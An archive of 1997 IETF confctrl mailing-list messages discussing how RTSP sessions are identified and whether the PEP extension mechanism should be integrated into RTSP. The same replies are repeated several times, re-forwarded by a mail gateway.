Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-28)
	id <AA09370>; Fri, 23 May 1997 05:50:09 -0700
Received: by www45.inria.fr (8.8.5/8.7.3) id OAA26502; Fri, 23 May 1997 14:50:01 +0200 (MET DST)
Message-Id: <199705231250.OAA26502@www45.inria.fr>
To: confctrl@isi.edu
Cc: osofia@sophia.inria.fr, abaird@w3.org
From: Philipp Hoschka <hoschka@w3.org>
Subject: confused about identifying RTSP sessions
Date: Fri, 23 May 1997 14:50:00 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Section 1.1. of the current RTSP draft (March 29) states:

"There is no notion of an RTSP connection, instead, a server maintains
a session labeled by an identifier. .. Duringt an RTSP session, an RTSP
client mahy open and close many reliable transport connectsion to the server
to issue RTSP requests"

The question is: what is the identifier, and what are the rules for
using it ?

The current spec mentions three different identifiers

1) the "session" header
2) HTTP state management
3) unique URLs generated dynamically (in Appendix A: "A server may choose to
  generate dynamic presentation descriptions where the URL is unique for a
  particular RTSP session and thus may not need an explicit RTSP session
  identifier in the request header")

This seems to imply that the server MUST use either 1) or 2) (I didn't check
if 3) is really equivalent to 1) and 2) - if so, it shouldn't be mentioned
in the Appendix only)

Otherwise, it won't work, because:

- If the client doesn't get a ssession id from the server, it cannot
 cut the TCP connection before it ends the session, because there is no way to 
 identify requests that belong to the session

- The server doesn't know what the client will do in future, so it
  must send the session id (or use HTTP state maintainence)

On the other hand, most of the example requests in the document
do not contain any way to identify a session, which seems to 
imply that identifying the session is something which is optional.

Or are the requests in the examples uniquely identified by the URL ?

Could somebody clarify this ? It should also be made clearer in the
document.

From majordom@ISI.EDU  Fri May 23 03:07:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA14828>; Fri, 23 May 1997 10:14:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA14812>; Fri, 23 May 1997 10:14:05 -0700
Received: from netscape.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA21514>; Fri, 23 May 1997 10:14:00 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id KAA01698
	for <confctrl@ISI.EDU>; Fri, 23 May 1997 10:10:41 -0700 (PDT)
Received: from stargazer ([204.29.186.91]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA3250;
          Fri, 23 May 1997 10:10:41 -0700
Message-Id: <3385CEDA.64BD@netscape.com>
Date: Fri, 23 May 1997 10:07:38 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU, osofia@sophia.inria.fr, abaird@w3.org, robla@prognet.com,
        hgs@cs.columbia.edu, anup@netscape.com
Subject: Re: confused about identifying RTSP sessions
References: <199705231250.OAA26502@www45.inria.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Philipp Hoschka wrote:
> 
> Section 1.1. of the current RTSP draft (March 29) states:
> 
> "There is no notion of an RTSP connection, instead, a server maintains
> a session labeled by an identifier. .. Duringt an RTSP session, an RTSP
> client mahy open and close many reliable transport connectsion to the server
> to issue RTSP requests"
> 
> The question is: what is the identifier, and what are the rules for
> using it ?
> 
> The current spec mentions three different identifiers
> 
> 1) the "session" header
> 2) HTTP state management
> 3) unique URLs generated dynamically (in Appendix A: "A server may choose to
>   generate dynamic presentation descriptions where the URL is unique for a
>   particular RTSP session and thus may not need an explicit RTSP session
>   identifier in the request header")


Thanks for pointing this out. Points 1), 2) are easy to clear up. 2) was
mentioned as an alternative to 1) and the choice between them was an
open issue at Memphis. This was decided in favour of 1). Hence the
Session: header will be sole identifier of a RTSP session across
transport connections. The references to HTTP state maintenance will go
away in the next draft.

At the time of the March 29th draft, we were debating on the means of
identifying sessions accross connections and client endpoints. As such,
3) (which might still work) seems to be an  overloading of URLs without
apparent gain. In the next draft, we should have a *clear and concise*
definition for session identification and that will be 1)(The Session:
header).

> On the other hand, most of the example requests in the document
> do not contain any way to identify a session, which seems to
> imply that identifying the session is something which is optional.
> 

The first example is pretty detailed, and has the Session: headers. The
others do not, (but I do believe that they mention that some of the
responses/headers are excluded for simplicity). We will take care of of
this in the next draft.

Regards,
-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Fri May 23 05:07:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA22076>; Fri, 23 May 1997 12:08:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA22064>; Fri, 23 May 1997 12:08:02 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA27380>; Fri, 23 May 1997 12:08:01 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
	id <LPFNBNV9>; Fri, 23 May 1997 12:09:56 -0700
Message-Id: <11352BDEEB92CF119F3F00805F14F48502D2DBC3@RED-44-MSG.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: 'Ross Patterson' <Ross_Patterson@ns.reston.vmd.sterling.com>,
        http-wg@cuckoo.hpl.hp.com, confctrl@isi.edu
Subject: RE: PEP Integration in RTSP
Date: Fri, 23 May 1997 12:07:57 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

PEP is very useful in cases where I need to make sure the server will do
the right thing without first having to negotiate with the server. For
example, I may only want to COPY a resource (using one of the new WebDAV
methods) if I know the servers is a Level 2 compliant DAV server and
thus supports Versioning. Rather than having to first do a discovery on
the server and then sending the method, I can just shoot off the method
with a PEP header specifying my requirements.
		Yaron

> -----Original Message-----
> From:	Ross Patterson [SMTP:Ross_Patterson@ns.reston.vmd.sterling.com]
> Sent:	Friday, May 16, 1997 4:44 PM
> To:	http-wg@cuckoo.hpl.hp.com; confctrl@isi.edu
> Subject:	Re: PEP Integration in RTSP
> 
> http-wg@cuckoo.hpl.hp.com writes:
> 
> >The authors of RTSP [1] and authors of PEP [2] have been discussing
> how to
> >integrate PEP into RTSP as the standard extension mechanism for RTSP.
> The
> >authors of RTSP have very strong consensus now that we will use PEP,
> and
> >the only question remains:  how will this be integrated?
> 
> 
> Some of us, myself included, don't believe PEP is such a great idea.
> Its bias towards nonstandard extensions with downloadable
> implementations just doesn't jive with the '90s "safe computing"
> world.
> I'll have a very hard time convincing any of my customers to download
> anything into the webservers my company sold them, no matter who's
> responsible for the code.  My personal expectation (not necessarily
> Sterling Software's, as we haven't discussed PEP much) is that PEP in
> the traditionally high-security, high-reliability mainframe world is
> dead on arrival.  I've held off commenting to date as I expect this is
> both a minority viewpoint and an environment where no matter what
> changes are made (short of using URNs to identify already-embedded
> "extensions"), any form of PEP will be simply unacceptable.
> 
> >In the discussions between authors of RTSP and PEP, we came to the
> >conclusion that PEP complience in RTSP should be mandatory, which
> would
> >make the relationship between PEP and RTSP different than the
> relationship
> >between PEP and HTTP.
> 
> If you're going to use PEP, making it a MUST from the start is a very
> good idea.  Some of the weirdness in PEP today derives from HTTP 1.x's
> "don't ask, don't tell" attitude towards unrecognized header fields.
> That was a wise choice at the time, and remains so, but it makes PEP a
> little odd as a result.
> 
> Ross Patterson
> Sterling Software, Inc.
> VM Software Division

From majordom@ISI.EDU  Fri May 23 11:18:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA22605>; Fri, 23 May 1997 12:20:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA22598>; Fri, 23 May 1997 12:19:58 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA27984>; Fri, 23 May 1997 12:19:55 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.151103.1063.766903; Fri, 23 May 1997 15:18:35 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com, hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.151103.1063.766903@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 15:18:35 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> using it ?
> 
> The current spec mentions three different identifiers
> 
> 1) the "session" header
> 2) HTTP state management
> 3) unique URLs generated dynamically (in Appendix A: "A server may choose to
>   generate dynamic presentation descriptions where the URL is unique for a
>   particular RTSP session and thus may not need an explicit RTSP session
>   identifier in the request header")


Thanks for pointing this out. Points 1), 2) are easy to clear up. 2) was
mentioned as an alternative to 1) and the choice between them was an
open issue at Memphis. This was decided in favour of 1). Hence the
Session: header will be sole identifier of a RTSP session across
transport connections. The references to HTTP state maintenance will go
away in the next draft.

At the time of the March 29th draft, we were debating on the means of
identifying sessions accross connections and client endpoints. As such,
3) (which might still work) seems to be an  overloading of URLs without
apparent gain. In the next draft, we should have a *clear and concise*
definition for session identification and that will be 1)(The Session:
header).

> On the other hand, most of the example requests in the document
> do not contain any way to identify a session, which seems to
> imply that identifying the session is something which is optional.
> 

The first example is pretty detailed, and has the Session: headers. The
others do not, (but I do believe that they mention that some of the
responses/headers are excluded for simplicity). We will take care of of
this in the next draft.

Regards,
-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.150732.1063.476188; Fri, 23 May 1997 15:07:32 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14828>; Fri, 23 May 1997 10:14:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14812>; Fri, 23 May 1997 10:14:05 -0700
Received: from netscape.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21514>; Fri, 23 May 1997 10:14:00 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
 by netscape.com (8.8.5/8.8.5) with ESMTP id KAA01698
 for <confctrl@ISI.EDU>; Fri, 23 May 1997 10:10:41 -0700 (PDT)
Received: from stargazer ([204.29.186.91]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA3250;
          Fri, 23 May 1997 10:10:41 -0700
Message-Id: <3385CEDA.64BD@netscape.com>
Date: Fri, 23 May 1997 10:07:38 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU, osofia@sophia.inria.fr, abaird@w3.org,
robla@prognet.com,
        hgs@cs.columbia.edu, anup@netscape.com
Subject: Re: confused about identifying RTSP sessions
References: <199705231250.OAA26502@www45.inria.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 23 13:03:23 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA28662>; Fri, 23 May 1997 14:04:51 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA28648>; Fri, 23 May 1997 14:04:47 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA02349>; Fri, 23 May 1997 14:04:42 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.165900.1063.767278; Fri, 23 May 1997 17:03:23 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com,
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.165900.1063.767278@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 17:03:23 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

PEP is very useful in cases where I need to make sure the server will do
the right thing without first having to negotiate with the server. For
example, I may only want to COPY a resource (using one of the new WebDAV
methods) if I know the servers is a Level 2 compliant DAV server and
thus supports Versioning. Rather than having to first do a discovery on
the server and then sending the method, I can just shoot off the method
with a PEP header specifying my requirements.
  Yaron

> -----Original Message-----
> From: Ross Patterson [SMTP:Ross_Patterson@ns.reston.vmd.sterling.com]
> Sent: Friday, May 16, 1997 4:44 PM
> To: http-wg@cuckoo.hpl.hp.com; confctrl@isi.edu
> Subject: Re: PEP Integration in RTSP
> 
> http-wg@cuckoo.hpl.hp.com writes:
> 
> >The authors of RTSP [1] and authors of PEP [2] have been discussing
> how to
> >integrate PEP into RTSP as the standard extension mechanism for RTSP.
> The
> >authors of RTSP have very strong consensus now that we will use PEP,
> and
> >the only question remains:  how will this be integrated?
> 
> 
> Some of us, myself included, don't believe PEP is such a great idea.
> Its bias towards nonstandard extensions with downloadable
> implementations just doesn't jive with the '90s "safe computing"
> world.
> I'll have a very hard time convincing any of my customers to download
> anything into the webservers my company sold them, no matter who's
> responsible for the code.  My personal expectation (not necessarily
> Sterling Software's, as we haven't discussed PEP much) is that PEP in
> the traditionally high-security, high-reliability mainframe world is
> dead on arrival.  I've held off commenting to date as I expect this is
> both a minority viewpoint and an environment where no matter what
> changes are made (short of using URNs to identify already-embedded
> "extensions"), any form of PEP will be simply unacceptable.
> 
> >In the discussions between authors of RTSP and PEP, we came to the
> >conclusion that PEP complience in RTSP should be mandatory, which
> would
> >make the relationship between PEP and RTSP different than the
> relationship
> >between PEP and HTTP.
> 
> If you're going to use PEP, making it a MUST from the start is a very
> good idea.  Some of the weirdness in PEP today derives from HTTP 1.x's
> "don't ask, don't tell" attitude towards unrecognized header fields.
> That was a wise choice at the time, and remains so, but it makes PEP a
> little odd as a result.
> 
> Ross Patterson
> Sterling Software, Inc.
> VM Software Division

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.165912.1063.476313; Fri, 23 May 1997 16:59:16 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22076>; Fri, 23 May 1997 12:08:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22064>; Fri, 23 May 1997 12:08:02 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27380>; Fri, 23 May 1997 12:08:01 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LPFNBNV9>; Fri, 23 May 1997 12:09:56 -0700
Message-Id:
<11352BDEEB92CF119F3F00805F14F48502D2DBC3@RED-44-MSG.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: 'Ross Patterson' <Ross_Patterson@ns.reston.vmd.sterling.com>,
        http-wg@cuckoo.hpl.hp.com, confctrl@isi.edu
Subject: RE: PEP Integration in RTSP
Date: Fri, 23 May 1997 12:07:57 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 23 13:15:37 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA29305>; Fri, 23 May 1997 14:17:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA29293>; Fri, 23 May 1997 14:17:04 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA02877>; Fri, 23 May 1997 14:16:54 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.171236.1063.767320; Fri, 23 May 1997 17:15:37 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.171236.1063.767320@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 17:15:37 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



Thanks for pointing this out. Points 1), 2) are easy to clear up. 2) was
mentioned as an alternative to 1) and the choice between them was an
open issue at Memphis. This was decided in favour of 1). Hence the
Session: header will be sole identifier of a RTSP session across
transport connections. The references to HTTP state maintenance will go
away in the next draft.

At the time of the March 29th draft, we were debating on the means of
identifying sessions accross connections and client endpoints. As such,
3) (which might still work) seems to be an  overloading of URLs without
apparent gain. In the next draft, we should have a *clear and concise*
definition for session identification and that will be 1)(The Session:
header).

> On the other hand, most of the example requests in the document
> do not contain any way to identify a session, which seems to
> imply that identifying the session is something which is optional.
> 

The first example is pretty detailed, and has the Session: headers. The
others do not, (but I do believe that they mention that some of the
responses/headers are excluded for simplicity). We will take care of of
this in the next draft.

Regards,
-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.150732.1063.476188; Fri, 23 May 1997 15:07:32 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14828>; Fri, 23 May 1997 10:14:14 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA14812>; Fri, 23 May 1997 10:14:05 -0700
Received: from netscape.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21514>; Fri, 23 May 1997 10:14:00 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
 by netscape.com (8.8.5/8.8.5) with ESMTP id KAA01698
 for <confctrl@ISI.EDU>; Fri, 23 May 1997 10:10:41 -0700 (PDT)
Received: from stargazer ([204.29.186.91]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA3250;
          Fri, 23 May 1997 10:10:41 -0700
Message-Id: <3385CEDA.64BD@netscape.com>
Date: Fri, 23 May 1997 10:07:38 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU, osofia@sophia.inria.fr, abaird@w3.org,
robla@prognet.com,
        hgs@cs.columbia.edu, anup@netscape.com
Subject: Re: confused about identifying RTSP sessions
References: <199705231250.OAA26502@www45.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.170925.1063.476321; Fri, 23 May 1997 17:09:25 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22605>; Fri, 23 May 1997 12:20:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22598>; Fri, 23 May 1997 12:19:58 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27984>; Fri, 23 May 1997 12:19:55 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.151103.1063.766903; Fri, 23 May 1997 15:18:35 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com, hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.151103.1063.766903@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 15:18:35 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 23 14:47:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA04514>; Fri, 23 May 1997 15:49:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA04508>; Fri, 23 May 1997 15:49:00 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA06587>; Fri, 23 May 1997 15:48:58 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.184300.1063.767477; Fri, 23 May 1997 18:47:35 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com (goncalves),
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.184300.1063.767477@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 18:47:35 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

PEP is very useful in cases where I need to make sure the server will do
the right thing without first having to negotiate with the server. For
example, I may only want to COPY a resource (using one of the new WebDAV
methods) if I know the servers is a Level 2 compliant DAV server and
thus supports Versioning. Rather than having to first do a discovery on
the server and then sending the method, I can just shoot off the method
with a PEP header specifying my requirements.
  Yaron

> -----Original Message-----
> From: Ross Patterson [SMTP:Ross_Patterson@ns.reston.vmd.sterling.com]
> Sent: Friday, May 16, 1997 4:44 PM
> To: http-wg@cuckoo.hpl.hp.com; confctrl@isi.edu
> Subject: Re: PEP Integration in RTSP
> 
> http-wg@cuckoo.hpl.hp.com writes:
> 
> >The authors of RTSP [1] and authors of PEP [2] have been discussing
> how to
> >integrate PEP into RTSP as the standard extension mechanism for RTSP.
> The
> >authors of RTSP have very strong consensus now that we will use PEP,
> and
> >the only question remains:  how will this be integrated?
> 
> 
> Some of us, myself included, don't believe PEP is such a great idea.
> Its bias towards nonstandard extensions with downloadable
> implementations just doesn't jive with the '90s "safe computing"
> world.
> I'll have a very hard time convincing any of my customers to download
> anything into the webservers my company sold them, no matter who's
> responsible for the code.  My personal expectation (not necessarily
> Sterling Software's, as we haven't discussed PEP much) is that PEP in
> the traditionally high-security, high-reliability mainframe world is
> dead on arrival.  I've held off commenting to date as I expect this is
> both a minority viewpoint and an environment where no matter what
> changes are made (short of using URNs to identify already-embedded
> "extensions"), any form of PEP will be simply unacceptable.
> 
> >In the discussions between authors of RTSP and PEP, we came to the
> >conclusion that PEP complience in RTSP should be mandatory, which
> would
> >make the relationship between PEP and RTSP different than the
> relationship
> >between PEP and HTTP.
> 
> If you're going to use PEP, making it a MUST from the start is a very
> good idea.  Some of the weirdness in PEP today derives from HTTP 1.x's
> "don't ask, don't tell" attitude towards unrecognized header fields.
> That was a wise choice at the time, and remains so, but it makes PEP a
> little odd as a result.
> 
> Ross Patterson
> Sterling Software, Inc.
> VM Software Division

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.165912.1063.476313; Fri, 23 May 1997 16:59:16 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22076>; Fri, 23 May 1997 12:08:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22064>; Fri, 23 May 1997 12:08:02 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27380>; Fri, 23 May 1997 12:08:01 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LPFNBNV9>; Fri, 23 May 1997 12:09:56 -0700
Message-Id:
<11352BDEEB92CF119F3F00805F14F48502D2DBC3@RED-44-MSG.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: 'Ross Patterson' <Ross_Patterson@ns.reston.vmd.sterling.com>,
        http-wg@cuckoo.hpl.hp.com, confctrl@isi.edu
Subject: RE: PEP Integration in RTSP
Date: Fri, 23 May 1997 12:07:57 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.184329.1063.476399; Fri, 23 May 1997 18:43:29 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28662>; Fri, 23 May 1997 14:04:51 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28648>; Fri, 23 May 1997 14:04:47 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA02349>; Fri, 23 May 1997 14:04:42 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.165900.1063.767278; Fri, 23 May 1997 17:03:23 -0400
From: yarong@microsoft.com (Yaron Goland)
To: goncalves@exchange.process.com,
        Ross_Patterson@ns.reston.vmd.sterling.com ('Ross Patterson'),
        http-wg@cuckoo.hpl.hp.com (http-wg), confctrl@isi.edu (confctrl)
Message-Id: <1997May23.165900.1063.767278@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 17:03:23 -0400
Subject: RE: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 23 15:01:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA05624>; Fri, 23 May 1997 16:03:23 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA05617>; Fri, 23 May 1997 16:03:20 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA07094>; Fri, 23 May 1997 16:03:18 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May23.185819.1063.767501; Fri, 23 May 1997 19:01:56 -0400
From: anup@netscape.com (Anup Rao)
To: goncalves@exchange.process.com (goncalves),
        hoschka@w3.org (Philipp Hoschka)
Cc: confctrl@ISI.EDU (confctrl), osofia@sophia.inria.fr (osofia),
        abaird@w3.org (abaird), robla@prognet.com (robla),
        hgs@cs.columbia.edu (hgs), anup@netscape.com (anup)
Message-Id: <1997May23.185819.1063.767501@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 23 May 1997 19:01:56 -0400
Subject: Re: confused about identifying RTSP ses
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



Thanks for pointing this out. Points 1), 2) are easy to clear up. 2) was
mentioned as an alternative to 1) and the choice between them was an
open issue at Memphis. This was decided in favour of 1). Hence the
Session: header will be sole identifier of a RTSP session across
transport connections. The references to HTTP state maintenance will go
away in the next draft.

At the time of the March 29th draft, we were debating on the means of
identifying sessions accross connections and client endpoints. As such,
3) (which might still work) seems to be an  overloading of URLs without
apparent gain. In the next draft, we should have a *clear and concise*
definition for session identification and that will be 1)(The Session:
header).

> On the other hand, most of the example requests in the document
> do not contain any way to identify a session, which seems to
> imply that identifying the session is something which is optional.
> 

The first example is pretty detailed, and has the Session: headers. The
others do not, (but I do believe that they mention that some of the
responses/headers are excluded for simplicity). We will take care of of
this in the next draft.

Regards,
-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
